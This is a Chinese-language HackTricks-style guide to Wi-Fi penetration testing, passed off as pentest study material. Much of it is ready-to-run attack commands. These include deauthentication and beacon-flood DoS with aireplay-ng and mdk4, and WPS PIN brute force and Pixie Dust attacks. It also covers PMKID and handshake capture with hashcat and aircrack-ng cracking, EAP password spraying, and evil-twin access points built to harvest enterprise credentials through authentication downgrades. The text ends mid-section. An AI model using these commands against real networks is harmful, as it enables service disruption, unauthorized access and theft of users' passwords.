697 lines
39 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Pentesting Wifi
{{#include ../../banners/hacktricks-training.md}}
## Wifi 基本命令
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
```
## 工具
### Hijacker & NexMon (Android 内部 Wi-Fi)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
### EAPHammer
```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**使用 Docker 运行 airgeddon**
```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭据。
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
该工具自动化**WPS/WEP/WPA-PSK**攻击。它将自动:
- 设置接口为监控模式
- 扫描可能的网络 - 并让您选择受害者
- 如果是WEP - 发起WEP攻击
- 如果是WPA-PSK
- 如果是WPSPixie dust攻击和暴力破解攻击注意暴力破解攻击可能需要很长时间。请注意它不会尝试空PIN或数据库/生成的PIN。
- 尝试从AP捕获PMKID以进行破解
- 尝试使AP的客户端失去认证以捕获握手
- 如果有PMKID或握手尝试使用前5000个密码进行暴力破解。
## 攻击总结
- **DoS**
- 失去认证/解除关联 -- 断开所有人或特定的ESSID/客户端)
- 随机假AP -- 隐藏网络,可能使扫描器崩溃
- 过载AP -- 尝试杀死AP通常不是很有用
- WIDS -- 玩弄IDS
- TKIP, EAPOL -- 一些特定的DoS攻击针对某些AP
- **破解**
- 破解**WEP**(多种工具和方法)
- **WPA-PSK**
- **WPS** PIN "暴力破解"
- **WPA PMKID** 暴力破解
- \[DoS +] **WPA握手**捕获 + 破解
- **WPA-MGT**
- **用户名捕获**
- **暴力破解**凭证
- **恶意双胞胎**有或没有DoS
- **开放**恶意双胞胎 \[+ DoS] -- 有助于捕获强制门户凭证和/或执行局域网攻击
- **WPA-PSK**恶意双胞胎 -- 如果您知道密码,对网络攻击很有用
- **WPA-MGT** -- 有助于捕获公司凭证
- **KARMA, MANA**, **Loud MANA**, **已知信标**
- **+ 开放** -- 有助于捕获强制门户凭证和/或执行局域网攻击
- **+ WPA** -- 有助于捕获WPA握手
## DOS
### 失去认证数据包
**来自** [**这里**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**的描述。**
**失去认证**攻击是Wi-Fi黑客中一种常见的方法涉及伪造“管理”帧以**强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端使其相信它们来自合法网络从而使攻击者能够收集WPA握手以进行破解或持续干扰网络连接。这种简单的战术广泛使用对网络安全具有重大影响。
**使用Aireplay-ng进行失去认证**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
- -0表示去认证
- 1是要发送的去认证数量如果需要可以发送多个0表示持续发送
- -a 00:14:6C:7E:40:80是接入点的MAC地址
- -c 00:0F:B5:34:30:30是要去认证的客户端的MAC地址如果省略则发送广播去认证并不总是有效
- ath0是接口名称
### 断开关联数据包
**断开关联数据包**类似于去认证数据包是在Wi-Fi网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然AP发出**去认证数据包以明确地将恶意设备从网络中移除但断开关联数据包通常在AP进行关机、重启或移动时发送从而需要断开所有连接的节点。**
**此攻击可以通过mdk4模式“d”执行**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **更多由 mdk4 进行的 DOS 攻击**
**在** [**这里**](https://en.kali.tools/?p=864)**.**
**攻击模式 b: 信标洪水**
发送信标帧以在客户端显示虚假 AP。这有时会使网络扫描仪甚至驱动程序崩溃
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**攻击模式 a: 认证拒绝服务**
向范围内所有可访问的接入点 (AP) 发送认证帧可能会使这些 AP 过载,尤其是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**攻击模式 p: SSID 探测和暴力破解**
探测接入点 (AP) 检查 SSID 是否正确显示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID**(有或没有字典)相结合,有助于识别和访问隐藏网络。
**攻击模式 m: Michael 反制措施利用**
向不同的 QoS 队列发送随机或重复的数据包可以触发 **TKIP AP** 上的 Michael 反制措施,导致 AP 关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**攻击模式 e: EAPOL 启动和注销数据包注入**
**EAPOL 启动帧** 轰炸接入点会创建 **虚假会话**,使接入点不堪重负并阻止合法客户端。或者,注入 **虚假 EAPOL 注销消息** 强行断开客户端,这两种方法都有效地干扰网络服务。
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: 针对IEEE 802.11s网状网络的攻击**
对网状网络中链路管理和路由的各种攻击。
**ATTACK MODE w: WIDS混淆**
将客户端交叉连接到多个WDS节点或假冒的恶意AP可以操纵入侵检测和预防系统造成混淆和潜在的系统滥用。
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**攻击模式 f: 数据包模糊测试器**
一个具有多样数据包来源和全面数据包操作修改器的数据包模糊测试器。
### **Airggedon**
_**Airgeddon**_ 提供了之前评论中提出的大多数攻击:
![](<../../images/image (95).png>)
## WPS
WPS (Wi-Fi Protected Setup) 简化了将设备连接到路由器的过程,提高了加密为 **WPA****WPA2** 个人网络的设置速度和便利性。对于容易被攻破的 WEP 安全性它是无效的。WPS 使用一个 8 位数字的 PIN分为两部分进行验证使其由于组合数量有限11,000 种可能性)而容易受到暴力攻击。
### WPS 暴力破解
执行此操作的主要工具有两个Reaver 和 Bully。
- **Reaver** 被设计为对 WPS 的一种强大且实用的攻击,并已在各种接入点和 WPS 实现中进行了测试。
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 编写。它相较于原始的 Reaver 代码有几个优势:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力攻击。然而,针对暴力攻击的防御措施,如 **阻止攻击者的 MAC 地址**,需要 **MAC 地址轮换** 以继续攻击。
在使用 Bully 或 Reaver 等工具获取 WPS PIN 后,攻击者可以推导出 WPA/WPA2 PSK从而确保 **持续的网络访问**
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**智能暴力破解**
这种精细的方法针对使用已知漏洞的WPS PIN
1. **预先发现的PIN**利用与特定制造商相关的已知PIN数据库这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能的PIN相关联。
2. **PIN生成算法**利用像ComputePIN和EasyBox这样的算法根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID为PIN生成过程增加了一层。
### WPS Pixie Dust攻击
**Dominique Bongard**发现了一些接入点AP在创建秘密代码称为**nonces****E-S1**和**E-S2**方面的缺陷。如果这些nonces能够被破解破解AP的WPS PIN就变得容易。AP在一个特殊代码哈希中透露PIN以证明其合法性而不是伪造恶意AP。这些nonces本质上是解锁存放WPS PIN的“保险箱”的“钥匙”。更多信息可以在[这里](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)找到。
简单来说问题在于一些AP在连接过程中没有使用足够随机的密钥来加密PIN。这使得PIN容易被从网络外部猜测离线暴力破解攻击
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
如果您不想将设备切换到监视模式,或者 `reaver``bully` 有一些问题,您可以尝试 [OneShot-C](https://github.com/nikita-yfh/OneShot-C)。这个工具可以在不切换到监视模式的情况下执行 Pixie Dust 攻击。
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
### Null Pin 攻击
一些设计不良的系统甚至允许 **Null PIN**(一个空的或不存在的 PIN授予访问权限这非常不寻常。工具 **Reaver** 能够测试此漏洞,而 **Bully** 则无法。
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
所有提议的 WPS 攻击都可以轻松地使用 _**airgeddon.**_
![](<../../images/image (219).png>)
- 5 和 6 让你尝试 **你的自定义 PIN**(如果你有的话)
- 7 和 8 执行 **Pixie Dust 攻击**
- 13 允许你测试 **NULL PIN**
- 11 和 12 将 **从可用数据库中收集与所选 AP 相关的 PIN****生成** 可能的 **PIN**使用ComputePIN、EasyBox 和可选的 Arcadyan推荐为什么不呢
- 9 和 10 将测试 **每一个可能的 PIN**
## **WEP**
现在已经破损且不再使用。只需知道 _**airgeddon**_ 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。
![](<../../images/image (432).png>)
---
---
## WPA/WPA2 PSK
### PMKID
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 了一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
许多现代路由器在关联期间向 **第一个 EAPOL** 帧添加了一个 **可选字段**,称为 `Robust Security Network`。这包括 `PMKID`
正如原始帖子所解释的,**PMKID** 是使用已知数据创建的:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
鉴于“PMK名称”是恒定的我们知道AP和站点的BSSID并且`PMK`与完整的4次握手中的相同**hashcat**可以利用这些信息来破解PSK并恢复密码短语
要**收集**这些信息并在本地**暴力破解**密码,您可以执行:
```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```
```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
捕获的 **PMKIDs** 将显示在 **控制台** 中,并且也会 **保存在** \_ **/tmp/attack.pcap**\_\
现在,将捕获的数据转换为 **hashcat/john** 格式并破解它:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
请注意,正确的哈希格式包含 **4 个部分**,例如:`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的哈希 **仅** 包含 **3 个部分**,那么它是 **无效的**PMKID 捕获无效)。
请注意,`hcxdumptool` **也会捕获握手**(会出现类似这样的内容:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。您可以使用 `cap2hccapx`**握手** 转换为 **hashcat**/**john** 格式。
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_我注意到使用这个工具捕获的一些握手即使知道正确的密码也无法破解。我建议如果可能的话也通过传统方式捕获握手或者使用这个工具捕获多个握手。_
### 握手捕获
**WPA/WPA2** 网络的攻击可以通过捕获 **握手** 并尝试 **离线破解** 密码来执行。这个过程涉及监控特定网络和 **BSSID** 在特定 **频道** 上的通信。以下是简化的指南:
1. 确定目标网络的 **BSSID**、**频道** 和 **连接的客户端**
2. 使用 `airodump-ng` 监控指定频道和 BSSID 的网络流量,期望捕获一个握手。命令将如下所示:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. 为了增加捕获握手的机会,暂时将客户端从网络中断开,以强制重新认证。这可以使用 `aireplay-ng` 命令完成,该命令向客户端发送去认证数据包:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_请注意由于客户端被取消认证它可能会尝试连接到不同的AP或者在其他情况下连接到不同的网络。_
一旦在 `airodump-ng` 中出现一些握手信息,这意味着握手已被捕获,您可以停止监听:
![](<../../images/image (172) (1).png>)
一旦握手被捕获,您可以使用 `aircrack-ng` **破解** 它:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### 检查文件中的握手
**aircrack**
```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```
**tshark**
```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```
[**cowpatty**](https://github.com/roobixx/cowpatty)
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_如果该工具在完成的握手之前找到一个ESSID的未完成握手它将无法检测到有效的握手。_
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
## **WPA 企业版 (MGT)**
**企业 WiFi 设置中,您将遇到各种认证方法**,每种方法提供不同的安全级别和管理功能。当您使用工具如 `airodump-ng` 检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (通用令牌卡)**:
- 此方法支持硬件令牌和一次性密码在EAP-PEAP中。与MSCHAPv2不同它不使用对等挑战并以明文形式将密码发送到接入点存在降级攻击的风险。
2. **EAP-MD5 (消息摘要5)**:
- 涉及从客户端发送密码的MD5哈希。由于对字典攻击的脆弱性、缺乏服务器认证以及无法生成会话特定的WEP密钥因此**不推荐**使用。
3. **EAP-TLS (传输层安全)**:
- 利用客户端和服务器端证书进行认证并可以动态生成基于用户和会话的WEP密钥以保护通信。
4. **EAP-TTLS (隧道传输层安全)**:
- 通过加密隧道提供相互认证并提供一种方法来推导动态的、每用户、每会话的WEP密钥。只需要服务器端证书客户端使用凭据。
5. **PEAP (受保护的可扩展认证协议)**:
- 通过创建TLS隧道进行受保护的通信功能类似于EAP。由于隧道提供的保护它允许在EAP之上使用较弱的认证协议。
- **PEAP-MSCHAPv2**: 通常称为PEAP它将脆弱的MSCHAPv2挑战/响应机制与保护性的TLS隧道结合在一起。
- **PEAP-EAP-TLS (或PEAP-TLS)**: 类似于EAP-TLS但在交换证书之前启动TLS隧道提供额外的安全层。
您可以在[这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些认证方法的更多信息。
### 用户名捕获
阅读[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27),看起来如果您使用**EAP****“身份”** **消息**必须**支持**,并且**用户名**将在**“响应身份”**消息中以**明文**发送。
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可能**捕获在EAP协议中发送的用户名**。为此,**捕获认证通信**(在一个频道内启动`airodump-ng`并在同一接口中启动`wireshark`)并通过`eapol`过滤数据包。\
在“**响应,身份**”数据包中,客户端的**用户名**将出现。
![](<../../images/image (850).png>)
### 匿名身份
身份隐藏由EAP-PEAP和EAP-TTLS支持。在WiFi网络的上下文中EAP-身份请求通常由接入点AP在关联过程中发起。为了确保用户匿名性的保护用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。这个概念通过以下场景进行说明
- EAP-身份 = 匿名
- 在这种情况下所有用户都使用伪名“匿名”作为他们的用户标识符。初始RADIUS服务器作为EAP-PEAP或EAP-TTLS服务器负责管理PEAP或TTLS协议的服务器端。内部受保护的认证方法可以在本地处理或委托给远程家庭RADIUS服务器。
- EAP-身份 = 匿名@realm_x
- 在这种情况下来自不同领域的用户隐藏他们的身份同时指示他们各自的领域。这允许初始RADIUS服务器将EAP-PEAP或EAP-TTLS请求代理到其家庭领域的RADIUS服务器这些服务器充当PEAP或TTLS服务器。初始RADIUS服务器仅作为RADIUS中继节点运行。
- 另外初始RADIUS服务器可以作为EAP-PEAP或EAP-TTLS服务器处理受保护的认证方法或将其转发到另一服务器。此选项便于为不同领域配置不同的策略。
在EAP-PEAP中一旦在PEAP服务器和PEAP客户端之间建立了TLS隧道PEAP服务器会发起EAP-身份请求并通过TLS隧道发送。客户端通过发送包含用户真实身份的EAP-身份响应来响应第二个EAP-身份请求。此方法有效防止任何窃听802.11流量的人揭示用户的实际身份。
EAP-TTLS遵循稍微不同的程序。在EAP-TTLS中客户端通常使用PAP或CHAP进行身份验证受TLS隧道保护。在这种情况下客户端在隧道建立后发送的初始TLS消息中包含一个用户名称属性和一个密码或CHAP密码属性。
无论选择哪种协议PEAP/TTLS服务器在建立TLS隧道后都会了解用户的真实身份。真实身份可以表示为user@realm或简单的user。如果PEAP/TTLS服务器还负责对用户进行身份验证它现在拥有用户的身份并继续进行受TLS隧道保护的认证方法。或者PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的家庭RADIUS服务器。此新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法为EAP的情况下内部EAP消息在没有EAP-PEAP或EAP-TTLS包装的情况下传输到家庭RADIUS服务器。发出的RADIUS消息的用户名称属性包含用户的真实身份替换了来自传入RADIUS请求的匿名用户名称。当受保护的认证方法为PAP或CHAP仅TTLS支持从TLS有效负载中提取的用户名称和其他认证属性被替换到发出的RADIUS消息中取代了传入RADIUS请求中找到的匿名用户名称和TTLS EAP-消息属性。
有关更多信息,请查看[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-暴力破解(密码喷洒)
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS将无效**),那么您可以尝试获取**用户名**(见下一部分)和**密码**的**列表**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**。
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
您还可以使用 `eaphammer` 进行此攻击:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```
## 客户端攻击理论
### 网络选择与漫游
- 802.11 协议定义了一个站点如何加入扩展服务集 (ESS),但并未指定选择 ESS 或其中接入点 (AP) 的标准。
- 站点可以在共享相同 ESSID 的 AP 之间漫游,保持在建筑物或区域内的连接。
- 该协议要求站点对 ESS 进行身份验证,但不要求 AP 对站点进行身份验证。
### 首选网络列表 (PNL)
- 站点将每个连接的无线网络的 ESSID 存储在其首选网络列表 (PNL) 中,以及网络特定的配置细节。
- PNL 用于自动连接已知网络,通过简化连接过程来改善用户体验。
### 被动扫描
- AP 定期广播信标帧,宣布其存在和特性,包括 AP 的 ESSID除非广播被禁用。
- 在被动扫描期间,站点监听信标帧。如果信标的 ESSID 与站点的 PNL 中的条目匹配,站点可能会自动连接到该 AP。
- 了解设备的 PNL 可能导致潜在的利用,通过模仿已知网络的 ESSID欺骗设备连接到恶意 AP。
### 主动探测
- 主动探测涉及站点发送探测请求以发现附近的 AP 及其特性。
- 定向探测请求针对特定的 ESSID帮助检测特定网络是否在范围内即使它是一个隐藏网络。
- 广播探测请求的 SSID 字段为空,并发送到所有附近的 AP让站点检查任何首选网络而不透露其 PNL 内容。
## 简单的 AP 并重定向到互联网
在解释如何执行更复杂的攻击之前,将解释 **如何** 仅仅 **创建** 一个 **AP****重定向****流量** 到连接 **到** **互联网** 的接口。
使用 `ifconfig -a` 检查用于创建 AP 的 wlan 接口和连接到互联网的接口是否存在。
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
创建配置文件 `/etc/dnsmasq.conf`
```ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```
然后**设置 IP**和**路由**
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
然后**启动** dnsmasq
```bash
dnsmasq -C dnsmasq.conf -d
```
### hostapd
```bash
apt-get install hostapd
```
创建配置文件 `hostapd.conf`
```ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**停止烦人的进程**,设置 **监控模式**,并 **启动 hostapd**
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### 转发和重定向
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
恶意双胞胎攻击利用WiFi客户端识别网络的方式主要依赖网络名称ESSID而不需要基站接入点向客户端进行身份验证。关键点包括
- **区分困难**当设备共享相同的ESSID和加密类型时难以区分合法和恶意接入点。现实世界中的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。
- **客户端漫游和连接操控**802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过去身份验证数据包或干扰等方法中断与合法接入点的连接来实现。
- **执行挑战**:在具有多个、位置良好的接入点的环境中成功执行恶意双胞胎攻击可能具有挑战性。去身份验证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者能够去身份验证所有附近的接入点或战略性地放置恶意接入点。
您可以通过以下方式创建一个非常基本的开放恶意双胞胎(没有将流量路由到互联网的能力):
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
您还可以使用 **eaphammer** 创建一个 Evil Twin请注意要使用 eaphammer 创建恶意双胞胎,接口 **不应** 处于 **监控** 模式):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
或使用 Airgeddon: `选项: 5,6,7,8,9在 Evil Twin 攻击菜单中)。`
![](<../../images/image (1088).png>)
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护,设备将不会自动连接到开放的 Evil Twin。您可以尝试对真实 AP 进行 DoS 攻击,并希望用户手动连接到您的开放 Evil Twin或者您可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 捕获握手(使用此方法您将无法让受害者连接到您,因为您不知道 PSK但您可以捕获握手并尝试破解它
_某些操作系统和防病毒软件会警告用户连接到开放网络是危险的..._
### WPA/WPA2 Evil Twin
您可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备已配置为使用 WPA/2 连接到该 SSID它们将尝试连接。无论如何**要完成 4-way-handshake**,您还需要 **知道** 客户端将使用的 **密码**。如果您 **不知道**,则 **连接将无法完成**
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### 企业恶意双胞胎
要理解这些攻击,我建议在简要阅读之前先阅读 [WPA Enterprise 解释](#wpa-enterprise-mgt)。
**使用 hostapd-wpe**
`hostapd-wpe` 需要一个 **配置** 文件才能工作。要 **自动化** 生成这些配置,您可以使用 [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad)(下载 _/etc/hostapd-wpe/_ 中的 python 文件)。
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
在配置文件中,您可以选择许多不同的选项,如 ssid、频道、用户文件、cret/key、dh 参数、wpa 版本和认证...
[**使用 hostapd-wpe 和 EAP-TLS 允许任何证书登录。**](evil-twin-eap-tls.md)
**使用 EAPHammer**
```bash
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
默认情况下EAPHammer 目的在于这些认证方法(注意 GTC 是第一个尝试获取明文密码的方法,然后使用更强大的认证方法):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
这是避免长连接时间的默认方法。然而,您还可以指定将身份验证方法从最弱到最强进行服务器处理:
```
--negotiate weakest
```
或者你也可以使用:
- `--negotiate gtc-downgrade` 来使用高效的 GTC 降级实现(明文密码)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同的顺序提供相同的认证方法,使得攻击更难被检测)。
- [在维基中找到更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**使用 Airgeddon**
`Airgeddon` 可以使用之前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5以便能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
`Airgeddon` 为你提供了 **持续的恶意双胞胎攻击(嘈杂)****仅在有人连接时创建恶意攻击(平滑)** 的可能性。
![](<../../images/image (936).png>)
### 在恶意双胞胎攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
_此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,因此这也应该适用于 EAP-TTLS_
_hostapd-wpe_**配置****注释** 包含 _**dh_file**_ 的行(从 `dh_file=/etc/hostapd-wpe/certs/dh` 改为 `#dh_file=/etc/hostapd-wpe/certs/dh`\
这将使 `hostapd-wpe` **使用 RSA 交换密钥** 而不是 DH因此你将能够 **解密** 流量,前提是 **知道服务器的私钥**
现在使用 **`hostapd-wpe`** 启动 **恶意双胞胎**,并使用该修改过的配置如往常一样。还要在执行恶意双胞胎攻击的 **接口** 中启动 **`wireshark`**。
现在或稍后(当你已经捕获了一些认证意图时)可以在 wireshark 中添加私有 RSA 密钥:`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
添加一个新条目,并用以下值填写表单:**IP 地址 = any** -- **端口 = 0** -- **协议 = data** -- **密钥文件** (**选择你的密钥文件**,为避免问题选择一个 **没有密码保护的密钥文件**)。
![](<../../images/image (687).png>)
然后查看新的 **"解密的 TLS" 标签**
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA 和已知信标攻击
### ESSID 和 MAC 黑白名单
不同类型的媒体接入控制过滤列表MFACLs及其对应的模式和对恶意接入点AP行为的影响
1. **基于 MAC 的白名单**
- 恶意 AP 仅对白名单中指定的设备的探测请求作出响应,对未列出的所有其他设备保持不可见。
2. **基于 MAC 的黑名单**
- 恶意 AP 将忽略黑名单中设备的探测请求,从而使恶意 AP 对这些特定设备不可见。
3. **基于 SSID 的白名单**
- 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应使其对首选网络列表PNL中不包含这些 ESSID 的设备不可见。
4. **基于 SSID 的黑名单**
- 恶意 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
